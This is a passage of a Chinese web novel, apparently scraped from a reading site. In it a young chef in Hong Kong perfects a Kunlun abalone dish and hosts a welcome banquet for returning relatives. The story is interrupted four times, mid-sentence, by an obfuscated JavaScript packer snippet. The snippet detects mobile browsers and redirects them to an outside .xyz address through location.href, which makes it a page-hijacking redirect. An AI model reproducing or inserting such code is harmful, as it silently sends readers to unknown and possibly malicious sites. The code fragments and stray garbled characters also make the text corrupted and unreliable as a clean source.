里，周老爷子对着炖锅两眼放光。岳宁揭开锅盖，不同于刚才岳宝华那一锅，完全是干鲍炖煮的味道，这次蒸汽里混合了鱼汤的鲜香和陈皮的清香，一块挂着粘稠汁水的鱼皮被夹了出来。 普通鱼都是鳞片在外，鳞片□□，龙趸则是皮包着鳞片，经过五次蒸，五次浸泡冰水，拔出皮下鳞片后，鱼皮上的孔洞竖立，就像龙鳞一般。这样一块鱼皮，传统做法就是和炖煮好的鲍鱼再同煮两个小时使其入味，基本上呈现的还是干鲍的浓郁味道。 岳宁上辈子研究了众多菜谱，也跟顶级大厨和网络野生厨子讨论再讨论，总结再总结之后，她加入了龙趸骨熬的汤，另外加上陈皮和鹿筋。 上辈子她加上陈皮或者柚皮，是为了去除最后残留些许腥味，这辈子爷爷在发制的时候，腥味已经去除干净，现在放陈皮就是取它的香味。 这个季节还没有柚皮，要是有鲜柚皮，她也就不用陈皮了，松软肥厚的柚子皮一同炖煮，清香入汤，汁水入柚子皮，这吸饱了汤汁的柚子皮都能松软如芋头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915449|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常好吃。 加鹿筋是因为龙趸骨汤不能和炖煮干鲍的食材一样煮几天几夜，否则就吃不出龙趸骨汤的鲜味了，又要维持鲍汁的浓稠，她就加入了鹿筋，胶质满满的鹿筋调节了汤汁的浓稠度，也增加山珍的风味。 岳宁把龙趸皮切成条，一小块龙趸皮配上一只十头的网鲍，淋上汁水，这就是她的昆仑鲍甫。 “周爷爷。”岳宁伸手请周老爷子品尝。 周老爷子用餐刀将龙趸皮一切为二，叉子叉起颤颤巍巍龙趸皮，龙趸皮上的汁水缓慢地往下滴，龙趸皮进入嘴里，不再是纯粹的传统鲍鱼味道，龙趸是石斑鱼，这个汤汁里有石斑鱼原本鲜美。 周老爷子好吃，来了港城，给岳宁试菜，他也去大街小巷吃，昨天他就去一家号称是五蛇羹做得很好的店家，去吃了一碗五蛇羹。味道是不错，因为那是碗仔翅的味道，味道又是错的，因为五蛇羹是五种蛇做出来的羹汤，蛇羹没有蛇味，叫什么五蛇羹？ “龙趸皮和鲍鱼是这道菜里同等的两个主材，不能分高下。就是三十年前，我吃到的昆仑鲍甫，也是单一的鲍鱼味，宁宁这么做，龙趸和鲍鱼相互融合，又不分主次，如太极的阴阳，好吃！而且有特点。”周老爷子侧头对也在细品的岳宝华说，“宝华，你说呢？” “确实，昆仑二字意思就 是昆仑山上的巨龙龙趸皮被称为龙鳞本就应该龙趸皮为重鲍鱼在后一直以来我们都是以鲍汁炆龙趸皮少了龙趸味。”岳宝华也这么认为。 岳宁笑着说：“那就定这个版本了。” “好。” 一切都准备好了岳宁眉开眼笑：“爷爷我去换衣服了这里就交给你了。” “去吧！” 岳宝华接手厨房带着三个厨子一起准备今天的晚宴。 岳宁回办公室换了衣服穿了那件天青色花罗的上衣和白色绸缎裤子干干净净素着一张脸头发梳得整整齐齐。 看时间已经十点左右了她下楼去在门口等了七八分钟乔君贤到了她坐上车一起出发去口岸等莫伯伯一家。 乔君贤开车到鸿安大酒店在叶应漪和乔家和的陪伴下南洋的亲戚们走了出来。 岳宁跟着乔君贤下车按照莫伯伯养女的辈分她和乔君贤是同辈大姨和大姨夫大姨明明上了年纪头发花白了还是好漂亮岳宁想不到这个气质温婉说话软软得女士经营着新加坡最大轮船修理公司曾经在滇缅公路上冒着炮火前行的司机。大姨夫头发花白却只给他增添的气势身材保持极好是个超有味道的帅大叔。 大舅舅也很有气势乔君贤和大舅舅长得挺像大舅妈漂亮又爽利眉眼间就是蔡家人的样子。 还有三舅舅和三舅妈两人都戴着眼镜很有学者气质。听乔君贤说三舅舅是建筑师三舅妈是跟大妈妈一起被叶家领养的孤儿。 大家一起上了车车队出发往口岸去 第93章 莫家抵港 岳宁站在口岸边等，听大姨夫和三舅妈说当年。 1938年年头上海寒潮，三舅妈说她只有五岁，在冰雪中，她都没有裤子穿，是大姨夫用一条围巾裹住了她。 在大姨夫的运作下，她和苏家宅的三万多名难民，被送到了南市难民营，有了衣服可以御寒，也在那里认识了大妈妈。 大妈妈的爸爸在闸北办了学堂，日军空袭炸了学堂，大妈妈的爸妈为了护住孩子们，全被炸**。大妈妈这样一个大家小姐也成了孤儿。 三舅妈说她是苏北逃难来的孩子，不会说话，在难民营被其他孩子欺负，大妈妈能说会道，保护她，还专门找修女嬷嬷告状。 听到庄宝如特别会告状，大家都笑**，大姨夫也笑：“真的，宝如这丫头，特别会告状，那些孩子恨她，那时候的向好不会说话，像小牛一样撞过去，把那些孩子撞翻在地。” 大姨说：“宝如刚到新加坡那会儿，学校里老师在宣扬殖民者给殖民地带来的好处，宝如说老师不提殖民者给殖民地带来了深重的灾难，害得校长找我过去，让她连跳两级进了中学。” 岳宁想起每次上海来信，莫伯伯总是担心大妈妈，大妈妈能言善辩，在那样的日子里，这样为他奔走，他担心会连累到大妈妈，最终大妈妈还是把莫伯伯的问题说明了，提前把莫伯伯转回了上海。 她说：“如果没有大妈妈一个部门一个部门地去跑，到处去说明问题，莫伯伯哪儿能那么早回上海？” 大家说着庄宝如年轻时候的趣事，正在说话间，他们看见一家四口从口岸走了出来。 三舅妈都一把年纪了，还像个孩子一样奔跑过去：“姐姐。” 岳宁见大妈妈抱住了三舅妈，眼泪一下子落了下来。 大姨过去给两个妹妹擦眼泪：“傻不傻，上次去上海已经哭过一回了，还哭啊？” 岳宁和乔君贤等在边上，等长辈们叙旧叙完，莫维文招手：“囡囡。” 岳宁见两位姐姐看向莫维文，又看向她。 岳宁走过去，一位姐姐说：“爸爸还有一个囡囡。” “对啊！对啊！” 莫维文介绍，那个戴眼镜很斯文的女生是莫颖，另外一个长头发小圆脸的是莫雅，岳宁叫：“姐姐好。” 乔君贤在她身边：“小颖、小雅，我是你们君贤表哥。” “表哥好。” “好了，好了！要说话， 回鸿安去说，好不好？大姨夫说，“都给我上车。 大家簇拥着一家四口去停车场，各自上车回到酒店，乔君贤停了车，岳宁和他牵手一起上来，正站着的莫维文看见了两人牵着手，推了推眼镜，再仔细看。 岳宁心虚地松开了乔君贤的手。莫维文把眼光投向他们俩，叶应漪跟妹夫说：“君贤和宁宁拍拖。 “拍什么？莫维文不解地问。 庄宝如一下子反应过来：“就是处对象。 莫维文倒抽一口气：“处对象？ 岳宁点头，莫维文看着她：“等下跟我上楼。 虽然莫伯伯表情很和顺，岳宁还是想起自己做错事，被爸爸和莫伯伯一搭一档，一个红脸一个白脸训的时候。 “哦！岳宁只能认了。 乔君贤还想牵岳宁的手，岳宁可不敢再牵了。 还好大姨夫是这个家，当家做主的人：“宝如、维文，你们先进房间，把东西放了，咱们再下楼吃饭，宝如有很多年没回新加坡了，中午咱们吃南洋菜，我们在餐厅等。 岳宁以为躲过一劫，莫维文招手，行吧！跟过去吧！ 岳宁跟着一家人上了楼，莫维文让两个女儿先去她们的房间，他们夫妻带着她一起进房间。 进了房间，莫维文这才叹了一口气：“囡囡，你才几岁？就处对象？你这个年纪，最需要的是读书，学知识，充实自己。你爸爸说以后给你找个好人家，被我说了半宿，我跟他说，不是要让你找个好人家，是要让你无论走到哪里都能有饭吃。你爸爸走的时候，他最不放心的就是你，那时候我一个泥菩萨，自身难保。也无从答应他什么？后来，你自己坚强起来，我想他也放心了，我也放心了。可你才来港城几天，就拍拖了。 庄宝如不高兴了：“维文，君贤是我外甥，是三姐姐的儿子。 “不管男孩子有多好。什么岁数，就做什么事。小颖和小雅去美国，那边咱们的亲戚，咱们的朋友，里面没有好孩子吗？这些好孩子追咱们小颖和小雅，你愿意吗？我们送孩子出去干嘛？送她们出去读书，见世面。不是早早地嫁人，结婚生孩子。 岳宁解释：“伯伯，我没有早早嫁人，我跟君贤约定了，先等我读完大学，拿了硕士学位之后，再结婚。 莫维文啧了一声：“还是太早了。你爷爷怎么也不管住你。 “爷爷，管不住 我。 莫维文没好气地看着她。 门铃响了，庄宝如去开门：“三姐。 叶应漪进来：“宝如、维文，下楼了。 “我们马上来。 不能让亲人们等，莫维文摸了摸岳宁的脑袋：“走吧！一起下楼了。 叶应漪陪着他们一起下去，她跟两个外甥女说：“中午跟妈妈一起吃新加坡菜，晚上呢？我们去宁宁的宁宴吃大餐。 “宁宁的宁宴？莫维文不解。 “宁宁来港城之后，她做的菜广受好评，大哥买下了一家高级餐厅交给宁宁经营，以后鸿安大酒店进入内地，宁宴也跟着一起去。叶应漪跟莫维文说，“而且宁宁还跟粤省农产品进出口公司达成协议…… 小颖不禁赞叹一声：“哇，宁宁你可真厉害。 莫维文诧异地看着她，岳宁低头：“我比较会做生意。 “天生做生意的料。叶应漪说。 到了楼下，一家人进了餐厅，在莫维文的注视下，岳宁挨着小雅姐姐坐，跟乔君贤分隔两端。 庄宝如对爱人这种老丈人看女婿，哪儿哪儿看不顺眼的样子，实在没办法，只能给他夹菜，让他多吃，少看。 吃过饭，岳宁跟伯伯道别，说要回宁宴准备晚宴，莫维文问：“嫌我烦了，是吧？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915450|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哪有啊？岳宁问他，“臊子面吃不吃？洋芋擦擦吃不吃？ 在西北的时候想上海单位里的葱大排、黄酱，回了上海倒是时常想父女俩做的菜，他说：“吃。 乔君贤过来：“小姨夫，我送宁宁去宁宴了。 莫维文嘴角又耷拉下来，大姨夫说：“维文、宝如，我们和家和一起去聊聊两艘船的情况。 余家的兴泰和乔家的方达，各自给国内下一条六万吨的散货船，庄宝如是主设计，莫维文也是关键部分的设计人员。 夫妻俩要走，莫维文突然转身：“君贤，送了宁宁，再回来一趟，我跟你聊两句。 乔君贤看着小姨夫，莫维文也看着他，他点头：“嗯，我马上回来。 乔君贤送了岳宁去宁宴，他立马开车回鸿安，到大姨夫的房间门口，敲了门，他推门进去，正在大笑的小姨夫，突然收住了笑容。 长辈们全部一脸看好戏地盯着他看，乔君贤有些紧张：“小姨夫，我回来了。 莫维文站了起来：“姐姐姐夫，哥哥嫂嫂，我跟君贤聊几句。 乔君贤跟在小姨夫后面，去了小姨夫的房间，小姨夫在沙发上坐下，乔君贤识相地关了门。 莫维文看着乔君贤，宝如的这个外甥第一次见面，给他的印象非常好。 要是囡囡二十三四岁的时候遇到这样的男孩子，他肯定一点都没意见，他说：“君贤，坐。” 乔君贤战战兢兢地坐下。 “君贤，我是你小姨夫。不过更是宁宁的爸爸，至少我心里是这么认为的。当年，我从上海到西北，你小姨最担心的是，我这个不会做饭的人，会不会饿死。实际是，会不会做饭的，都有可能饿死。会做饭的，比不会做饭的，多个好处是，他会找吃的。他挖了野菜，煮了给我一起吃。宁宁爸爸问题比较简单，莫家有人在美国，有人在台湾，有一阵我很难。如果没有宁宁爸爸的悉心照顾，我这双腿，就真的废了。宁宁爸爸没的时候，我无法承诺一定能照顾好孩子。但是我心里早就答应了。你小姨帮我跑那么多，终于我可以离开西北，把宁宁留在西北，我已经对不起宁宁爸爸了。” 莫维文看着乔君贤，这孩子长得也好，谈吐也好，不过……总之…… 乔君贤抬头看着莫维文：“小姨夫，我喜欢宁宁，是真心的。” “刚才，你爸妈也说了。你们谈恋爱我同意，但是，我希望你能信守承诺，发乎情，止乎礼。我不管港城的风气如何，你们俩不许胡来。否则，让我知道，我不会管咱们是至亲，我只站在宁宁身边，她是我女儿。”莫维文脸色肃然。 乔君贤连连点头，他用最真诚的心表示：“小姨夫放心，我绝对不会。我等她大学毕业，等她拿到硕士学位，我再跟她求婚，婚前，一定是发乎情，止乎礼，不会逾矩。到时候我们一起去宁宁爸爸的坟上，告诉她爸爸一声。我希望婚礼上，小姨夫能陪伴着宁宁走向我，把她放心地交给我。” 莫维文看着他，他也知道自己未免太过于紧张，乔家人的品性，自己应该放心。 “好，我相信你。” 第94章 欢迎宴 战争年代，香江和南洋的不少豪门，送孩子去远离战火的美国避祸，庄宝如在港城也有二十多年未见的同学玩伴，叶应漪跟姐妹一起商量了，把这些人也都请了。 二三十年了，中间有多少惊涛骇浪？那些败落的，也就不想再见故人了，来得大多是门庭依旧的人。 故而，尚未开张的宁宴大酒楼门前停车场，来了不少豪车。 这些年穿惯了布衫长裤的庄宝如在姐姐妹妹们的陪伴下，换上漂亮的连衣裙，化了妆，盘了头发，莫维文也重新穿上了西装。 两人带着女儿们，辨认着一张张记忆中脸，转眼青丝成白发，千言万语一时间竟不知从何说起。 “一起坐下，我们先吃饭，边吃边聊。”叶应漪揽着妹妹坐下。 崔慧仪作为乔君慎的女友出席这次宴会，刚落座就忍不住对着乔君慎笑。 乔君慎被她笑得莫名其妙，她说：“这个萝卜开会，是不是要成宁宴的招牌了？” 今天岳宁的萝卜开会，特邀嘉宾是海参，各色萝卜围着海参。 其他菜倒是没有重样的，酱红色和白卤的鸭子拼成了阴阳两鱼的形状，透明啫喱杯装着一只带着酱汁的虾仁，脆皮做成小船里面装了红色的草莓粒、白色浇了蓝莓果酱的山药泥、绿色哈密瓜粒，黄瓜拼接成翻开的书本，里面用了四种烧腊拼盘，青山宝塔和斜阳之下是剔除了鱼骨鱼皮的洁白鳗鲞，毛豆、鸭舌、肚尖和半剥开的蟹钳组成了糟味四拼，边上是一只振翅的丹顶鹤与松树，红色裙边拌白色的云耳，红白相间摆出了牡丹花造型。这是今天的八道凉菜。 “好漂亮！”小雅轻轻说一声。 莫维文说：“宁宁在偷懒。” “啊？”小颖不解。 “这些又没什么技巧，是最最简单的摆盘方式。你志荣叔能用萝卜雕出一条栩栩如生的飞龙，宁宁也会。”莫维文指着那个青山宝塔说，“这个顶顶简单，切几片黄瓜，这个宝塔，你志荣叔自己做了个工具，一根萝卜去了头尾，四面用那个凹凸的刀一切就出来，这个丹顶鹤，萝卜切片，他有竹片制成的丹顶鹤样板，照着画一下。今天这么多桌她一个人，来不及，她的手艺，能把画用在菜上。” “是啊！宁宁给我们做过，我记得最深的，是那道断桥残雪……”乔君贤一起头，其他人也跟着说起。 叶家大姐夫余嘉鸿站起来举杯，大家一起跟着 站起来余嘉鸿说：“二十四年前宝如从美国辗转回到新加坡拜别祖父母辞别家人我和应澜送她到港城她一个人提着箱子走过了口岸回到祖国。二十多年了她回来了我们欢迎宝如回家。” 庄宝如带着家人举杯：“谢谢大家！” 她能说会道此刻却不想多说往事不可追行业里国内与国外差距犹如不可逾越的鸿沟。当年选择回来是不想给他国造航母想要为祖国造军舰。今时今日她依旧是这个目标雨过天晴了没必要再提。 举杯之后落座余嘉鸿夹了一块鸭子吃进嘴里他惊喜地跟太太说：“应澜重庆的卤鸭子。” 叶应澜也夹了一块吃了一口：“是味道大差不差了。” “这是樟茶鸭。”乔启明吃着鸭子“这一红一白尽是巴蜀风味。” 小雅吃了一个琉璃盏虾球她仰着头眼泪都要出来了。 叶应漪给外甥女喝茶：“虾球有芥末第一次吃不习惯吧？” 小雅喝了一口茶仔细砸吧了一下味道：“其实还蛮好吃的。” 这时一股带着酒味的奇香袭来 乔启明猛吸一口气：“这是糟钵头？” 庄宝如点头：“好像是。” 莫维文笑：“肯定是。志荣让囡囡背过这个菜谱。” 乔启明伸出筷子夹起了一块油豆腐泡吸饱了汤汁的油豆腐进嘴里肥浓的汤汁出来香气都能从口腔反向到鼻腔他咽下连说：“鲜鲜鲜！有德兴馆的味道。” 莫维文恨不能为这一块猪肺拍案叫绝柔润鲜香一口之后停不下来。 庄宝如索性用汤勺连汤带料舀进碗里切成片的猪肝和猪心一起吃进嘴里也是赞不绝口。 在场的那些出身上海的人吃到一口久违的家乡味道。 在港城或是南洋出身的人也吃得很欢。糟钵头只要做得好除去那些不接受内脏的人是很受欢迎的一道菜。毕竟猪杂从南到北从东到西都有人喜欢 既然是欢迎大妈妈她就要做一道上海风味但是上海已经很难吃到的菜而且乔家人和叶家人都是宁波人早年也在上海生活。 糟醉风味本是起源于绍兴一带伴随浙江商帮在上海呼风唤雨而风靡上海。 岳宁上辈子看到的糟钵头都 做成了冷糟。查菜谱，五六十年代的老菜谱上是热糟，是个汤菜。用内脏做汤菜，在热气腾腾中，就有内脏的那一股子味道。 北京的炒肝儿、卤煮，走上了另外一条路，市井之内，热腾腾的一碗炒肝儿，就要那一点脏腥味儿。四川的毛血旺则是香辣压住了那股子味道。 上海的这个糟钵头，里面有猪肺、大肠、猪肚、猪心、猪肝，又不会用大量的蒜末去腥，又得热食，要求是汤汁浓、鲜、热、香，不能有腥臭味。 大约也是这个难题，大多数酒家，放弃了热糟，渐渐把这一道汤菜变成了一道凉菜，岳宁就想问，那和糟货有什么区别？ 上辈子，有个科技界的上海富豪吃到她做的糟货，在饭桌上说起典故来，解放前在上海滩叱咤风云的大佬，四九年去了港城，想念德兴馆的糟钵头。派了账房先生回到上海，要请德兴馆为他做这道菜。 最后厨师辗转第三国抵达港城，为他做了这道菜。 那位老兄吃着冷糟的肚条说：“不知道这糟钵头到底有什么魔力，能让他大费周章，把厨师弄到港城做菜？” 自己回他：“你别看我，你把我弄到上海，我也不会。” “我也请不动啊！” 这事本来就过去了，对岳宁来说，他算是个富豪，可如今科技发展太快，今日在风口，春风得意，明天指不定就倒了，就成了负翁。 大家交情不深，开这种玩笑，其实并不合适，岳宁只当他是个普通的食客，也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915451|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多深交，给他的定位是需要提前一个月预约的客人。 后来，这老兄的公司被国外打压，他异常强硬，在重重困境之下，来她这里约了一顿饭，他在电话里很颓丧：“这一关过不了，兴许我再也不是这个圈子里的人，再也吃不到你亲手做的菜了。” 岳宁在电话里跟他说：“我来组个局？我请你！” 这顿宴席，她为他做了糟钵头，还替他找来了几位大佬，给他注入资金，给了他可以残喘的市场。 当时他大为感动，渡过难关之后……之后就不对了。他居然大张旗鼓地追求起她来，岳宁无奈，很多男人不管普不普，信是肯定信的，她只能拉黑，他连预约都预约不了了。 岳宁安慰自己，好歹经过这么一茬，她给这人投资，也赚了点钱，还把糟钵头给研究了出来。 这辈子，爸爸让她背了这个菜谱，菜谱里有一条，肺、肠 、肚、心清洗干净焯水之后要和白萝卜炖上二十来分钟去除异味。 岳宁试过之后发现清甜的白萝卜果然有去除残留异味的功效。 然后再将这些料放入鸡架、猪骨和火腿猪爪炖煮出来白汤里继续炖透。 炖透了的原料捞出来浸泡在她自己吊的香糟卤里让酒糟的香气被这些原料完全吸收再切片。 那肥浓的汤汁则是过滤干净烧开再加笋片油豆腐泡和浸过糟卤的猪下水片 这一道热烫只有鲜香没有异味的糟钵头才算大功告成。 “都在说好吃呢！”外头传来消息。 岳宁看着在何运邦锅里翻滚的大龙虾说：“上菜。” 这道三葱爆大龙虾猛火爆炒大葱、洋葱和小葱激发出不同的香味配合何运邦那精湛的炒菜手艺岳宁主打的就是高档酒楼要吃出大排档的烟火气。 出了这道菜下面就是本次宴席的大菜昆仑鲍甫。 昆仑鲍甫按位上有位太太看见这道菜很干脆地摇头跟边上的男士说：“我不吃这个鱼皮你替我吃了吧！” 边上的男士也兴致一般：“那就放着吧！” 有些东西珍贵稀有又怎么样？不合胃口就是不合胃口。这对夫妻前两日去了御龙轩在侍应生竭力推荐下点了这道六八八一份的昆仑鲍甫。 等东西端上来女士兴致勃勃地切了一块鱼皮吃进嘴里不至于说是腥味重到想要吐她就是吃不下。 老婆说御龙轩的昆仑鲍甫有腥味不好吃。男士没觉得有腥味只觉得实在不值还不如一八八吃一个吉品溏心鲍等下两盘的鲍鱼他都吃了这块皮就不吃了。 他切开鲍鱼鲍鱼确实很好有溏心塞进嘴里发现不是平时吃的鲍鱼味道甚至不是宝华楼鲍鱼的味道有海鱼的鲜香还有果香和清香 他看见同桌先吃龙趸皮的人已经眯起了眼：“不愧是满汉全席里最顶级的菜。” 他将信将疑地切了一块龙趸皮软糯弹丝毫没有御龙轩那块龙趸皮的腻那个腻就是老婆说的腥？他转头轻声对老婆说：“很好吃你尝尝？” 这位太太也听见其他人在赞叹这道菜老公这么说了她就勉为其难试试吧！ 第95章 崔家昌出车祸 这位太太将信将疑地切了鱼皮的一个小角，指甲盖大的鱼皮入嘴，Q弹软糯的鱼皮，丝毫没有那天吃到的腥味，这一点点哪儿够吃？她继续来下一口，好吃得停不下来。 这时侍应生上了一盘油炸鬼。 这宁宴可是高端酒楼，连油炸鬼都上来了？ “油炸鬼蘸昆仑鲍甫的汤汁。”侍应生说。 对昆仑鲍甫完全转了印象的太太，立刻夹了一块寸长的油炸鬼，油炸鬼蘸了汤汁，进嘴里，这一口简直太满足了。 岳宁听到了前面的反馈，盘子里的汁水都被吃完了，这才是她要的效果。 这一道浓郁的大菜之后，上来一道百花酿带子，百花就是虾滑，虾滑酿在鲜带子里，这道菜清淡鲜美，老少咸宜。 有了这道菜过度，下一道，一个长方形的瓷碟，一头是一个小碗，小碗里团了一团面团上头盖了红油臊子，中间一口一个的肉夹馍，尾端是脆壳里装了乒乓球大小的一段洋芋擦擦。 挑起一筷子红油臊子面，那股子熟悉的味道先进鼻腔，再进嘴里，明明那些日子他吃了不少苦，却依然怀念。 只是只有一口，莫维文回忆了这么久，来了这么一口，这能过瘾吗？ 乔启明也抱怨：“宁宁这丫头怎么回事，其他的给得少也就算了，连这个都只给一点点。” 余嘉鸿跟岳宁还是初次见面，不太好说，他也没吃过瘾，当年他和乔启明一起去陕北，而且当年他堂弟在宝鸡开橡胶厂，他都有三十多年没去西北了，也想啊！ 就在这时，侍应生上了一大碗臊子面和一大碗洋芋擦擦，侍应生说：“宁宁给几位加的，还加重了味道。” “这孩子就是懂事。”乔启明很开心地说。 莫维文脸上挂上了笑容，挑了面条进碗里，吃了起来。 余嘉鸿给自己老婆打了半碗面条，自己又打了半碗，夫妻俩吃得正欢，这时服务生拿来一个炭火底座，点了火，一个铜锅端上去。 那香辣四溢的味道，叶应澜惊喜地跟余嘉鸿说：“保山的火塘牛肉？” “对，云南保山的牛肉锅。”侍应生拿来一碗薄荷，放在桌上，“需要加薄荷吗？” 叶应澜连忙说：“要！” 当年她到滇缅公路上，做汽车修理工，一开始就是在云南保山的维修站。 她夹起一筷牛肉牛杂，往蘸水里蘸了一下吃在嘴里，她跟余嘉鸿说：“就是火塘牛 肉的味道，很正呢！ 余嘉鸿则是夹了一筷酸腌菜，这个酸菜腌得也很好。 粤省的牛肉锅，多用嫩牛肉，云南保山的牛肉锅，老一点没关系。先用香料把牛肉和牛杂卤熟了，再切片，进锅里煮。吃起来很香，有嚼劲。 叶应澜吃到熟悉的味道，再看臊子面，就不太想吃了，她跟余嘉鸿说：“我想吃米饭了。 余嘉鸿知道老婆什么意思，他笑着把她剩下的臊子面拿了过去，让侍应生给她拿来一碗白米饭。 叶应澜夹了牛肉牛杂和薄荷盖在饭上，红通通的汤汁渗进米饭里，大口吃起来。 余嘉鸿含情脉脉地看着正在吃饭的老婆。 叶应漪瞪了老公一眼：“看看姐夫，大姐喜欢什么，他就喜欢。你呢？几十年了，还说我什么都爱拌饭。 这都能被怨上？他转头：“侍应生，也给我来一碗饭。 叶应漪：“你干什么？ “给你拌饭啊！乔家和以为她也想和大姨子一样吃这个牛肉汤拌饭。 叶应漪：“我是让你拌饭吗？ 庄宝如笑：“姐夫，三姐让你像大姐夫看大姐一样看着她。 乔家和往老婆看去，他看过去了，老婆又给他一个嫌弃的眼神，总之他怎么做都不对。 坐在隔壁桌的崔慧仪看到这一幕，她手搭在乔君慎的肩上，低头笑，悄悄对乔君慎说：“你们家全都好可爱哦！ 乔君慎被她热气吹到耳朵里，他微微侧过头：“怎么可爱了？ 被他这么问，崔慧仪发现自己跟乔君慎靠得太近了，她坐直了，怎么回答呢？自己从小看到的都是爸妈的争吵，很少看到夫妻，尤其是几十年的老夫老妻会这样。 至少她看来老夫老妻这样会很羞耻，但是他的大姨夫妻，他爸妈，这样做好像理所当然。 又上新菜，这次是御龙轩已经上过的鸽吞翅，乔君慎让崔慧仪别老看他家长辈腻歪，赶紧吃东西。 崔慧仪拿起勺子喝汤，她抬头，笑着说：“乔君慎，很好喝。 看着她的笑容，乔君慎有一瞬间晃神，他应了一声，低头喝汤。 崔慧仪跟同桌人讨论起这道鸽子汤来，同桌人说：“我以为这道菜的关键是拆鸽子骨，要是这一关过了，这道菜应该没什么难做的吧？港城大一点的酒楼燕鲍翅总归会卖，发好的鱼翅塞的鸽子肚子里炖汤，口味应该差不多吧？可这个汤跟御龙 轩的不同汤又鲜又柔好喝多了。” “肯定不一样宁宁这个小丫头做的菜都是有她自己独特的方子。圆仔面我改了之后销量上去了。” 粤菜和其他地方的菜交替上着莫维文吃着或是乡土或者高档的菜看着装修豪华的酒楼听家人们说宁宁来港城后做的那些事看起来港城确实是最适合宁宁的地方这样他也放心了。 * 岳宁去机场送别了莫伯伯一家。 大妈妈很二十多年没有回新加坡养大她的爷爷奶奶到死都在念着她。他们一家在港城停留了一天就和家人一起回新加坡。 好在他们回内地的时候还会在港城待两天到时候还能聚聚。 这本是一场私人宴会却吸引了港城人的目光南洋叶家和余家布局港城比像乔家这样的老牌家族还早早在二十年代叶家就在港城开了百货公司和酒店后来叶家在港城开了第一家平价商店也就是现在遍及东南亚的鸿安商超。 余家则不要说了一零年的时候就开辟了港城来往东南亚的航线就说三十年代的时候铜锣湾那里还是一大片洋行仓库而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915452|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候因为广九铁路开通码头已经转移到了九龙。 仓库废弃很多余家鸿那时候还是二十出头的少年和蔡家一起决策买下那些仓库那可能是港岛最后一批千年使用权的土地了。 这些仓库战时用来接纳从大陆来的厂商帮助他们快速恢复生产 战后港城人口飞速涌入那一片就成了黄金宝地。 两家的掌门人同时来港城哪怕只是私人行程也足够港城人八卦了。 更何况还在宁宴举办了宴会。 宴会到底如何？参加的人不少世上没有不透风的墙自然有人会出来说几句。 在被采访人的嘴里那个昆仑鲍甫味道太绝了吃到最后大家用油炸鬼把汁水全吃了。 然而本城的老牌酒店还是有厨子会做这道菜的这道菜固然食材稀有但是港城有钱人也多真好吃有钱人还不把它捧到天上去？ 总体来说这道菜的底味还是鲍鱼味而且龙趸皮胶质重吃起来黏黏糊糊与其吃这个倒不如吃花胶炖鲍鱼还轻盈一些。 就像成天说熊掌与鱼翅不可兼得这两样放在一起选那肯定选鱼翅。 所以这个连汁水都吃完的昆仑鲍甫是什么样的？大家无法想象。 昆仑鲍甫是个什么味道，还在其次。这个时候的港城，还有很多从上海来的人，北角那里上海人**。听闻这场宴席上有糟钵头，勾起了多少人的馋虫？ 岳宁把糟钵头放在宝华楼推出，很多老上海来宝华楼尝一下家乡味。 老上海觉得好吃，也吸引了港人来一探究竟。鲜香的糟钵头很容易就俘获本就喜欢猪杂的港城人的心。 一时间大家都在说去宝华楼吃糟钵头。 在这个时候，宁宴试营业了，试营业期间午市和晚市各二十桌，需要预约。 消息一传出，两天时间，九月十六日正式开张前全部约完了，九月十六日以后还没开放预约。 岳宁现在把心力全部放在了宁宴，晚市结束回旺角不安全，她决定搬来浅水湾的房子里。 阿松现在是宝华楼总厨，主要事务由他负责，岳宝华不用像以前那样从早守到晚，他也舍不得岳宁一个人住，也决定搬到浅水湾来。 这套八十来平米的房子，在这个大部分人还在等着政府的公屋的港城来说，她和爷爷两个人住已经很奢侈了。 家具已经买好了，窗帘岳宁找了宝华楼附近的一家夫妻老婆店做了。 按照约定的时间，岳宁去拿了窗帘，打了的士回家，车子到一家医院门口堵车了，的士司机要做生意，堵车耽误了他的时间，他敲着方向盘骂了两句脏话。 